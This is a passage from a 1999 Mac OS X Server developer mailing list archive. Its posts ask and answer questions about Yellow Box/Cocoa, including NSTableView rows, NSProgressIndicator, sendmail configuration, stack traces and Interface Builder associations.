02:53:44 1999 From: sarwat at interlog.com (Sarwat Khan) Date: Thu Nov 3 14:42:12 2005 Subject: NSTableView with variable sized rows Message-ID: Hi, I need to make a couple NSTableViews with dynamically sized rows. Each row height is independent of the others. In one case, I plan to have collapsible rows. The rows could have any height, but by using a disclosure triangle at the left-top corner of each row the row could collapse into the height of one line of text. I'm not really sure what the best way of doing this is. I guess that I'd want to subclass NSTableView to do this but I'm not sure what exactly to do with it. Thanks, Sarwat. ............................................................ Sarwat Khan Mississauga, Ontario sarwat@interlog.com http://www.interlog.com/~sarwat PGP and text/enriched mail welcome. From Dirk.Theisen at dv-org.de Thu Jul 29 03:14:49 1999 From: Dirk.Theisen at dv-org.de (Dirk Theisen) Date: Thu Nov 3 14:42:12 2005 Subject: NSArray removeIdenticalObject bogus? Message-ID: <199907291010.DAA28209@scyther.omnigroup.com> Hi, everybody! Anyone wondered about that (Java): String abc = "abc"; NSMutableArray arr = new NSMutableArray(); arr.addObject("abc"); arr.addObject(abc); arr.removeIdenticalObject(abc); System.out.println("arr == "+arr); System.out.println(); prints: arr = (abc, abc) Apart from that there seems to be a bug in the Docs, which state that removeIdenticalObject uses isEqual, which it does not (even in ObjC). Regards, Dirk From bierman at apple.com Thu Jul 29 10:06:24 1999 From: bierman at apple.com (Peter Bierman) Date: Thu Nov 3 14:42:12 2005 Subject: {ANN} System Disk 2.3 In-Reply-To: <9907290943.AA00406@projectcenter.ch> References: Message-ID: At 11:43 AM +0200 7/29/99, Philippe C.D. Robert wrote: >You wrote: >> System Disk 2.3 is now available from Apple's Developer Connection website. >> >> http://developer.apple.com/macosx/ >> ftp://ftp.apple.com/developer/macosxserver/utilities/SystemDisk2.3.smi.bin >> >> System Disk 2.3 updates the System Disk utility included with Mac OS X >> Server and Mac OS X DP1. System Disk 2.3 contains an all new Disk I/O >> subsystem, including support for ATA devices in slave mode. System Disk 2.3 >> does not bring new functionality to machines currently incompatible with >> Mac OS X or Mac OS X Server. > >Can I use this for booting into MOSXS *and* Linux as well? Not right now, but there's nothing stopping the linuxPPC folk from fixing their kernel to be bootable from OpenFirware on the latest machines. -pmb -- "UNIX shells in Mac OS X should be unneeded but functional... and have the same installed base as MPW." From bierman at apple.com Thu Jul 29 10:11:45 1999 From: bierman at apple.com (Peter Bierman) Date: Thu Nov 3 14:42:12 2005 Subject: {ANN} System Disk 2.3.1 Message-ID: System Disk 2.3.1 is now available from Apple's Developer Connection website. http://developer.apple.com/macosx/ ftp://ftp.apple.com/developer/macosxserver/utilities/SystemDisk2.3.1.smi.bin System Disk 2.3.1 updates the System Disk utility included with Mac OS X Server and Mac OS X DP1. System Disk 2.3.1 contains an all new Disk I/O subsystem, including support for ATA devices in slave mode. System Disk 2.3.1 does not bring new functionality to machines currently incompatible with Mac OS X or Mac OS X Server. Version 2.3.1 corrects a minor bug and a cosmetic problem related to the 2.3 disk image. (The link from the web page is incorrect and will be fixed shortly, but the file is available on the FTP server.) -pmb -- "UNIX shells in Mac OS X should be unneeded but functional... and have the same installed base as MPW." From markhers at macnn.com Thu Jul 29 12:06:21 1999 From: markhers at macnn.com (Mark J. Hershenson) Date: Thu Nov 3 14:42:12 2005 Subject: NSProgressIndicator?!? Message-ID: <199907291904.MAA17795@scyther.omnigroup.com> Yes, to preface, I don't have a clue. But I'm trying to change this, so please help me out. :) I am working on getting a hang of using YellowBox, and I'm not getting very far. I've run through a couple of the examples included with the OS, but I'm still not putting 2 and 2 together on a lot of little things. My first question is how the heck do you get an NSProgressIndicator to work? I felt a good way of getting a hang of it would be to just trying to make a simple progress bar which counts up in very little steps in an automatic loop to watch it progress. In IB, I dragged a progress bar to the window. I went to classes, and tried to Instantiate NSProgressIndicator. Wouldn't let me. Ok, I figured. I subclassed java.lang.Object, and called it MJHObject. Added two outlets - ProgressBar and ProgressBarValue - and an action - ChangeBarValue. Created the files, and changed Object ProgressBar; Object ProgressBarValue; to NSProgressIndicator ProgressBar; double ProgressBarValue = 0.0; I tried to make ChangeBarValue do: void ChangeBarValue(Object sender) { while (ProgressBarValue <= 100.0) { ProgressBar.incrementBy(0.1); ProgressBarValue += 0.1; } } Now, trust me, this just looks plain wrong to you and me both. It doesn't work, and I have no clue how to actually use and manipulate an NSProgressBar. I don't know what to connect where. I don't know how to do it. I don't have a clue if I'm even close to being close to doing this. I'm only really versed in Java, but I'd like to learn Obj-C as well. Please reply primarily in Java code, and secondarily in Obj-C if you'd be so kind. :) -- mjh "If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside." -- Robert X. Cringely From jlebel at iname.com Thu Jul 29 14:56:36 1999 From: jlebel at iname.com (jlebel@iname.com) Date: Thu Nov 3 14:42:12 2005 Subject: where command in program Message-ID: <990729175636G0.27987@weba7.iname.net> I have a programmming question, I'm hoping that somone can help me. In gdb, there is a "where" command that prints out useful debugging information. I am wondering if there is a way to have my program capture this information in an NSString or any other sort of object. --------------------------------------------------- Get free personalized email at http://www.iname.com From schober.d at euro.apple.com Fri Jul 30 00:37:41 1999 From: schober.d at euro.apple.com (Dirk Schober) Date: Thu Nov 3 14:42:12 2005 Subject: NSTableView with variable sized rows References: Message-ID: <37A15641.C7AE4224@euro.apple.com> Hmm, I didn't do this kind of thing so far, but it's interesting. Here is one hint (i don't know, if this works...): The NSTableView is filled up with NSCell's (or instances of some subclass). If I understand the role of these cells correctly, they tell the TableView about its appearance. So have a look at NSCell or some subclass. Please let me know about your solution. If I have the time, I will try it on my own. Good luck! Dirk Sarwat Khan wrote: > Hi, > > I need to make a couple NSTableViews with dynamically sized rows. > Each row height is independent of the others. > > In one case, I plan to have collapsible rows. The rows could have any > height, but by using a disclosure triangle at the left-top corner of > each row the row could collapse into the height of one line of text. > > I'm not really sure what the best way of doing this is. I guess that > I'd want to subclass NSTableView to do this but I'm not sure what > exactly to do with it. > > Thanks, > > Sarwat. > > ............................................................ > Sarwat Khan Mississauga, Ontario > > sarwat@interlog.com http://www.interlog.com/~sarwat > > PGP and text/enriched mail welcome. -------------- next part -------------- A non-text attachment was scrubbed... Name: schober.d.vcf Type: text/x-vcard Size: 344 bytes Desc: Card for Dirk Schober Url : /mailman/archive/macosx-dev/attachments/19990730/7118a34f/schober.d.vcf From sarwat at interlog.com Fri Jul 30 11:17:34 1999 From: sarwat at interlog.com (Sarwat Khan) Date: Thu Nov 3 14:42:12 2005 Subject: NSProgressIndicator?!? In-Reply-To: <199907291904.MAA17795@scyther.omnigroup.com> References: <199907291904.MAA17795@scyther.omnigroup.com> Message-ID: Yup, the learning curve on YB is steep at first, but once you get it you get everything :) The framework handles *so much* for you, you have to wonder, where do I start? >I felt a good way of getting a hang of it would be to just trying to make >a simple progress bar which counts up in very little steps in an >automatic loop to watch it progress. I've done that, it should be fairly simple. >In IB, I dragged a progress bar to the window. I went to classes, and >tried to Instantiate NSProgressIndicator. Wouldn't let me. Well, you don't have to instantiate it. Take a look at it this way. Every object displayed in the Instances pane (like File's Owner, MyWindow (or something else if you've renamed it), First Responder, Menu) is an actually object that is already instantiated. It's just freeze-dried in a nib file. An NSProgressIndicator can't exist outside of a window, so that's why it didn't let you instantiate it. So, when you open MyWindow and drag a progress bar object into it, it too becomes instantiated. As long the NSWindow exists, everything within it exists. Now, each window has a controller associated with it which would play with the progress bar. Typically, that's the File's Owner. Before I go on further about that, for your first time project, your app should have two nib files. One is My-App.nib (and My-App-windows.nib, ignore that one. That's the exact same file, but used when running under NT) and another nib file for your window. If one doesn't exist you'll have to create one. You can use the New command in Interface Builder to make the appropriate type of nib file. Since I don't have MOSXS running right now I can't give you step by step instructions on that, and I'm not sure how accurate some of this stuff is :( Ok, so for the My-App.nib file, the File's Owner is NSApplication. NSApplication has to own one interface file (nib file). That would contain global things, like the menu bar. The second nib file you create would be owned by your Window Controller (the Window Controller would manipulate the window, and be able to tell it to do stuff, like move it around the screen,or play with the objects inside the window, like the progres bar). You would make your Window Controller the owner of the nib file--and by doing so you instantiate it. More on how to do that later. The default window controller, NSWindowController, doesn't have the functionality you want (to play with the progress bar). Of course you'll have to add that yourself, in a subclass. So first we define that class by going to the Classes pane, selecting NSWindowController, and pressing the return key (or using the subclass menu item). NSWindowController already has a member variable, the 'window' variable. We could use that to get to the progress bar (we could ask the window "get the view with id "), but since we're going to be using it a lot it would be much handier if our window controller had direct access to the thing, just like it has direct access to the window through the window variable. So add another variable 'progressBar'. Now normally, we'd think to instantiate this object and then make connections (connect the instantiated window to the 'window' variable, connect the progress bar in the window to the 'progressBar' variable). But, as I said before, whatever object is the file's owner will be instantiated too. So we make your window controller subclass the file's owner (select the File's Owner icon, bring up the Inspector, and one of the inspector panels has a list of all the classes. Select your subclass from the list--it's now the file's owner). If we set a different object to be the file's owner, that object would be instantiated. We don't need an extra object instantiated. So we make the subclass the file's owner and let it get instantiated that way. Like I said before, normally we make connections with the instantiated icon in the Instances panel and the objects. We don't have an instantiated icon of your class, because we used File's Owner instead. Well, File's Owner represents an instance of your class, so you use that icon instead to make connections. Connect the 'window' and 'progressBar' to the NSWindow and the NSProgressIndicator inside the window (with the NSWindow, you'll draw a line between the NSWindow icon and the File's Owner icon. For the progress bar, you'll draw a line between the progress bar in the window and the File's Owner icon). So, we now have a nib file that has an instance of your subclass (through File's Owner), an instance of an NSWindow and an NSProgressIndicator inside it. We really didn't do that much. Now you need to write code. I'm only going to give an overview of that :) I haven't done any Java code in YB. Your Window Controller subclass's 'init' method is going to have to load a nib file that contains the window. That pretty much comes down to calling 'loadWindowNibName "MyNibName"'. You should be able to find an example in the About Panel controller which is probably in your project too. At some point, you application subclass is going to have to make the window controller (it's possible to create an instance of it in the applications nib file instead of doing the following. It's pretty simple to do, but I'm not going to explain that here). You can do it in a couple places, like the awakeFromNib method or in response to a menu item. A menu item would be best if you know how to do that (it's not hard, but I'm not about to explain that right now either). Wherever you do it, it's pretty simple. Something like the following: MyWindowController thingo; thingo = new MyWindowController(); That will create the window. It will show the window too if you set 'initially visible' in Interface Builder. The next thing you'll have to do is to do a loop that keeps updating the value of the progress bar. That will be implemented in the window controller. Or, you can have a method in the window controller that just increments the progress bar, and you call that method repeatedly. Here's an example: public void MakeProgressBarMove() { int i = 0; while (i < 100) { progressBar.setValue(i++); if (i == 100) i = 0; } } or in obj-c, -(void) makeProgressBarMove { int i = 0; while (i < 100) { [progressBar setValue:i++]; if (i == 100) i = 0; } } This code assumes that the max value on your progress bar is 100. You set that in Interface Builder. There's some function like progressBar.maxValue() that I could have used, but I didn't. Again, this method will have to be called somewhere. Either by the result of a menu command, or for simplicity, your application's awakeFromNib. Once you do your program will be stuck in an infinte loop, so you'll have to kill it. A way of doing it without getting stuck in an infinite loop is to use an NSTimer. In a real application, a progress bar doesn't just loop forever. It would probably increase when notified to do so, so it could be done through NSNotifications. For practice, you could make the window controller has a method that causes it to increase the progress bar by one (and if it's over the max value, set it to zero). You could also make a button in the same window that calls this method when pressed. The window controller would have an action method that increases the progress bar, and the button would be hooked up to call that action method. And then for further practice, you could replace this direct function calling with notifications (but don't bother unless if you understand exactly why notifications are useful). Objective-C is very easy to learn, and once you do you'll love it. I have a feeling this may be easier to pull of in Obj-C (if for any reason, less syntax). Once you get the hang of YB, try reimplementing this in Obj-C. ............................................................ Sarwat Khan Mississauga, Ontario sarwat@interlog.com http://www.interlog.com/~sarwat PGP and text/enriched mail welcome. From kc at omnigroup.com Fri Jul 30 12:58:59 1999 From: kc at omnigroup.com (Ken Case) Date: Thu Nov 3 14:42:12 2005 Subject: NIB File Conversion Message-ID: <199907301956.MAA13115@scyther.omnigroup.com> > Does anyone have any good general approaches for converting nibs > from old architectures to new ones? The big problem here is that > the old nibs may contain encoded classes that do not exist in > the new architecture. When porting Concurrence from NextStep to OpenStep, I created an InterfaceBuilder palette with classes which pretended to be the old classes for decoding, but encoded themselves as the new classes. With that palette loaded, I loaded and saved all the old nibs, converting the nibs to the new class architecture. Ken From kc at omnigroup.com Fri Jul 30 14:02:17 1999 From: kc at omnigroup.com (Ken Case) Date: Thu Nov 3 14:42:12 2005 Subject: Sending e-mail from a program Message-ID: <199907302059.NAA21856@scyther.omnigroup.com> > I am trying to programmatically compose and send e-mail to a > specific address from a Yellow Box application (sorry, still > cannot get used to this Cocoa abomination...). So far I found > only one way of doing it: call system("mail -s MessageHeader > myaddressee@somewhere.com << File.msg"). One option would be to use the free OmniMailKit source from ftp://ftp.omnigroup.com/pub/software/Source/WOFExamples. It talks SMTP to your mail server directly, rather than relying an outside mail program. (Luke informs me that there are a few minor bugs in OmniMailKit, and that it's not currently capable of sending MIME attachments, but that its basic functionality seems to work fine. Since the source is there, you could always fix whatever you don't like.) If you look around the WebObjects mailing list archives, I think you'll find at least one other SMTP implementation as well, though most people there now use the WOSendMail command-line utility (since it's built into WebObjects 4.0). > If I use the "mail" utility to do the same thing, it complains > about "permissions denied", and does not deliver the message. Any idea where the permission is denied? Is it with running the binary itself, or when trying to talk to your mail server? What happens if you just send mail to a local user? Here we're delving into the macosx-admin domain (so I'm cc'ing macosx-admin, and any followups to this part of the message would be more appropriate there): > The same approach works fine when I do it from the NeXT cube > running OS4.2. Could this be just a configuration problem with > sendmail? That sounds likely: OS4.2's default mail configuration sets it up as a client of your mailhost, but I don't know what Mac OS X Server's default mail configuration is (if, indeed, it has any useful default configuration at all). We configure our non-mailhost X Server systems using the clientproto.mc configuration (from /usr/share/sendmail/conf/cf/) as a template and making a one-word change to set the OSTYPE to rhapsody. If you save this updated configuration to rhapsodynullclient.mc, you would then build a sendmail.cf from it with the commands: cd /usr/share/sendmail/conf/cf m4 ../m4/cf.m4 rhapsodynullclient.mc > /etc/sendmail.cf (See clientproto.mc for some relevant comments, and see /usr/share/sendmail/conf/README for the full scoop on configuring sendmail.) Hope this helps! Ken From kc at omnigroup.com Fri Jul 30 15:32:57 1999 From: kc at omnigroup.com (Ken Case) Date: Thu Nov 3 14:42:12 2005 Subject: where command in program Message-ID: <199907302230.PAA01532@scyther.omnigroup.com> > In gdb, there is a "where" command that prints out useful > debugging information. I am wondering if there is a way to have > my program capture this information in an NSString or any other > sort of object. I haven't actually tried this, but using the ExceptionHandler framework I believe you can set the NSExceptionHandlingMask to "NSHandleOtherExceptionMask", which means that it will add a stack trace to every exception's userInfo dictionary under the key "NSStackTraceKey". See /System/Documentation/Developer/YellowBox/ReleaseNotes/ExceptionHandling.html for more information. If you're looking to do this in some context other than raising an exception you can walk the stack yourself, which is what we do in OmniObjectAlloc. Ken From markhers at macnn.com Fri Jul 30 21:58:39 1999 From: markhers at macnn.com (Mark J. Hershenson) Date: Thu Nov 3 14:42:12 2005 Subject: OK, next up... Message-ID: <199907310455.VAA01380@scyther.omnigroup.com> Thanks to all who responded to my last post. I'm starting to get IB and PB and how YB works. Of course, I'm still at the lower end of the curve, but... I'm thinking of trying to write a nice GUI for Apache - both for its utility and because I like programming projects that have some actual substance to them. :) I haven't the expertise to do this yet. So I'm going to try to do something simpler which will teach me how to do this. 1) Since I figure I might as well jump head first into all this AppKit stuff, I figure opening files involves instantiating an NSDocument object, and then using it to access the file using readFromFile method. How? 2) I had had the idea that perhaps I could create a parsing engine in plain ol' C. I could use an algorithm which searched for keywords like "AddType" at the beginning of a line, and then read the line, and send a message to a NSMutableArray(?) to add the information to it. I'm not sure this would be as simple as it sounds. Could you message an object like this? Ultra-pseudocode: NSMutableArray addTypeArray; // definition In the engine: //let's say that CurrentToken contains "text/html" [addtypeArray addObject:[NSString] CurrentToken]; or addTypeArray.addObject ( (NSString) CurrentToken) ); I don't even know if you can cast like that. And even if I could, would it make any difference as far as speed goes? I don't know enough about the optimization and "object overhead" with ObjC/Java/YB to know. 3) NSTabView and NSTabViewItem. - Do you need a separate NIB file for each NSTabViewItem? It seems so, but I don't know. I created a window, and dragged a CustomView to it. Changed it's class to "NSTabView". Got lost, and thought I'd ask what's next instead of my customary spewing of venom at my monitor. >From the documentation, I figured you would have to create whichever NSTabViewItems you wished, and then //again with the pseudocode... NSTabView myTabArea; NSTabViewItem myFirstTab; NSTabViewItem mySecondTab; [myTabArea addTabViewItem:myFirstTab addTabViewItem:mySecondTab]; I figure the order with which you add is the order it is ordered on the view. Since the definition said that an NSTabViewItem is comprised primarily of an NSView object, this is why I asked about the NIB file. I guess the NIB would contain what would go in the NSTabView when displayed. Then in that view would be an object with outlets for the data to be displayed, and actions to display them. 4) Well, I guess that's enough for an evening. Thanks in advance. -- mjh "If the automobile had followed the same development cycle as the computer, a Rolls-Royce would today cost $100, get a million miles per gallon, and explode once a year, killing everyone inside." -- Robert X. Cringely From jlebel at iname.com Fri Jul 30 22:49:25 1999 From: jlebel at iname.com (jlebel@iname.com) Date: Thu Nov 3 14:42:12 2005 Subject: where command in program Message-ID: <99073101492503.00422@weba1.iname.net> > See /System/Documentation/Developer/YellowBox > /ReleaseNotes/ExceptionHandling.html for more > information. Thank you. I was able to get the stack by creating an exception and catching it right after. But I got only addresses. I didn't understand how to translate addresses to routine name. I saw I need to use the "atos" command, but I didn't understand how to do it. Plus, it will be slow to translate every address every time I need the stack. > If you're looking to do this in some context > other than raising an exception you can walk the > stack yourself, which is what we do in > OmniObjectAlloc. What do you mean by "walk the stack" ? Do you mean create my own stack ? My goal is to know who retains and releases who and where. Now I'm using "ObjectAlloc.app" to find a problem with one class. After I'm putting the code that you can find at the end of this email. I have to run my program once to know that I have a problem with the third instance (for example) of "total" array. After I have to run my program one more time (and I have to do exactly the same stuff), to see when I'm creating the third instance of "total"array. It's working but it would a lot easier to record the call stack for each instance when a "retain" or a "release" is called. -------------------- id total[1024]; id current[1024]; int totalCount = 0; int currentCount = -1; @implementation MyClass (test) + (int)find:(id)object in:(id *)array count:(int)count { int i; for(i = 0; i < count; i++) { if(array[i] == object) { return i; } } return -1; } - (id)retain { if([MyClass find:self in:total count:totalCount] == -1) { total[totalCount++] = self; if(currentCount > -1) { current[currentCount++] = self; } } return [super retain]; } - (void)release { int index; if(([self retainCount] == 1) && ((index = [MyClass find:self in:total count:totalCount]) != -1)) { total[index] = nil; if((currentCount > -1) && ((index = [MyClass find:self in:current count:currentCount]) != -1)) { current[index] = nil; } } [super release]; } + (void)startStop { if(currentCount == -1) { currentCount = 0; } else { int i; for(i = 0; i < currentCount; i++) { id object; if((object = current[i]) != nil) { NSLog(@"%d %@", [MyClass find:object in:total count:totalCount], [object description]); } } currentCount = 0; } } @end --------------------------------------------------- Get free personalized email at http://www.iname.com From sean at yellowmatter.com Sat Jul 31 00:53:48 1999 From: sean at yellowmatter.com (Sean Roehnelt) Date: Thu Nov 3 14:42:12 2005 Subject: Audio cd filesystem support Message-ID: <37A2AB89.6AC787FB@yellowmatter.com> I am working on a project where I need to mount an audio cd and rip the audio to hard disk. My first stumbling block is that MacOSXServer does not support audio cd's. Is there a BSD package out there somewhere that will let me add support for audio cd's? Thanks, Sean From phr at projectcenter.ch Sat Jul 31 07:48:26 1999 From: phr at projectcenter.ch (Philippe C.D. Robert) Date: Thu Nov 3 14:42:13 2005 Subject: Sending e-mail from a program In-Reply-To: <199907302059.NAA21856@scyther.omnigroup.com> References: <199907302059.NAA21856@scyther.omnigroup.com> Message-ID: <9907311448.AA00701@projectcenter.ch> You wrote: > > I am trying to programmatically compose and send e-mail to a > > specific address from a Yellow Box application (sorry, still > > cannot get used to this Cocoa abomination...). So far I found > > only one way of doing it: call system("mail -s MessageHeader > > myaddressee@somewhere.com << File.msg"). > > One option would be to use the free OmniMailKit source from > ftp://ftp.omnigroup.com/pub/software/Source/WOFExamples. It talks Or you could just use the MailDelivery stuff...;-) Have a look at the Message.framework sweet dreams, Phil --- Philippe C.D. Robert - Software Engineer ######################################## # http://www.nice.ch/~phip # # http://www.projectcenter.ch # ######################################## From paulrs at lgs-systems.com Sat Jul 31 16:22:03 1999 From: paulrs at lgs-systems.com (Paul R. Summermatter) Date: Thu Nov 3 14:42:13 2005 Subject: Problem in IB with Association Connections inspector Message-ID: <9907312322.AA25760@slab> RE: EOF 3.0, MOSXS & YB/NT Hey guys, I'm having a problem in IB which didn't exist under our environment on OS 4.2. I'm floundering around at this point and am hopeful that someone else has encountered this problem and could shed some light. We have around 12 custom associations some with inspectors some without, all of which are available in IB via our palettes. The problem that has come up is specific to certain types of controls. When trying to create an association from a text field to a display group, in addition to the four EO associations, four of our associations are available in the connections inspector (all of our associations come after the EO ones because they start with LGS). The problem is that, starting in order with the EOPickTextAssociation, something gets completely out of whack and whichever association is selected, the aspects for the association which is previous in the list are displayed. So, for the EOPickTextAssociation, I see enabled and value, the aspects of EOControlAssociation. If I select the next association in the list, the LGSCompletionAssociation, the aspects are matchKey1 ... and not the aspects of LGSCompletionAssociation. Interestingly, if I select a form cell or an NSPopUpButton, though we have associations for both of these objects, the same problem does NOT exist. Also, if I open an existing nib with say a connection from an LGSCompletionAssociation to a text field, the connections inspector displays itself properly while I am focused on that text field. With all of the changes in pop up buttons, I don't know if some strange combination is producing this result or whether we've been doing something wrong all along and just getting away with it. Because the debugger is crippled on MOSXS, I can't get much farther than discovering that the popUpButtonCell is sending an action to an EOConnectInspector which is calling a method setCurrentAssociationToClass:. The class that is being called is the wrong one. In the case of the EOPickTextAssociation in my example above, the method aspects is being sent to EOGenericControlAssociation. EOGenericControlAssociation is, of course, returning the right aspects for itself, but it shouldn't be the receiver. As for the usual suspects, there are no exceptions in the console. If I remove our palettes, the problem disappears. Finally, the most interesting finding of mine is that if I recompile our frameworks and comment out all of the isUsableWithObject methods in our associations and return NO, the problem still exists! EOPickTextAssociation still shows the aspects of EOControlAssociation. If anyone has a clue what might be going on, I would love to hear about it. In particular, I'd love some info on how the EOConnectInspector's typePopUpChanged: method works. I've made some educated guesses, but they appear to be wrong. Thanks, Paul #0 0x48207428 in +[EOGenericControlAssociation aspects] () #1 0x48202fbc in +[EOAssociation allocWithZone:] () #2 0x425184f0 in +[NSObject alloc] () #3 0x2b6ae0 in -[EOConnectInspector setCurrentAssociationToClass:] () #4 0x2b7434 in -[EOConnectInspector typePopupChanged:] () #5 0x4252a49c in -[NSObject performSelector:withObject:] () #6 0x4337b4cc in -[NSApplication sendAction:to:from:] () #7 0x435e2418 in -[NSPopUpButtonCell _popUpItemAction:] () #8 0x4252a49c in -[NSObject performSelector:withObject:] () #9 0x4337b4cc in -[NSApplication sendAction:to:from:] () #10 0x43397e40 in -[NSMenu performActionForItemAtIndex:] () #11 0x433a90f8 in -[NSMenuView _handleMouseUpWithEvent:] () #12 0x433a845c in -[NSMenuView trackWithEvent:] () #13 0x435e3c7c in -[NSPopUpButtonCell trackMouse:inRect:ofView:untilMouseUp:] () #14 0x433cd17c in -[NSControl mouseDown:] () #15 0x43363d80 in -[NSWindow sendEvent:] () #16 0x43358618 in -[NSApplication sendEvent:] () #17 0x5380 in -[IB sendEvent:] () #18 0x43388f20 in -[NSApplication run] () #19 0xfe84 in main () #20 0x6440 in _start () #21 0xfc2c in start () --- Paul Summermatter LGS Systems, Inc. Medical Computing Division 15 TJ Gamester Ave Portsmouth, NH 03801-5871 (603) 433-9822 voice (603) 433-9818 fax (888) 898-6321 pager 8986321@skytel.com paging email paulrs@lgs-systems.com (NeXT or MIME Mail Welcome) http://www.lgs-systems.com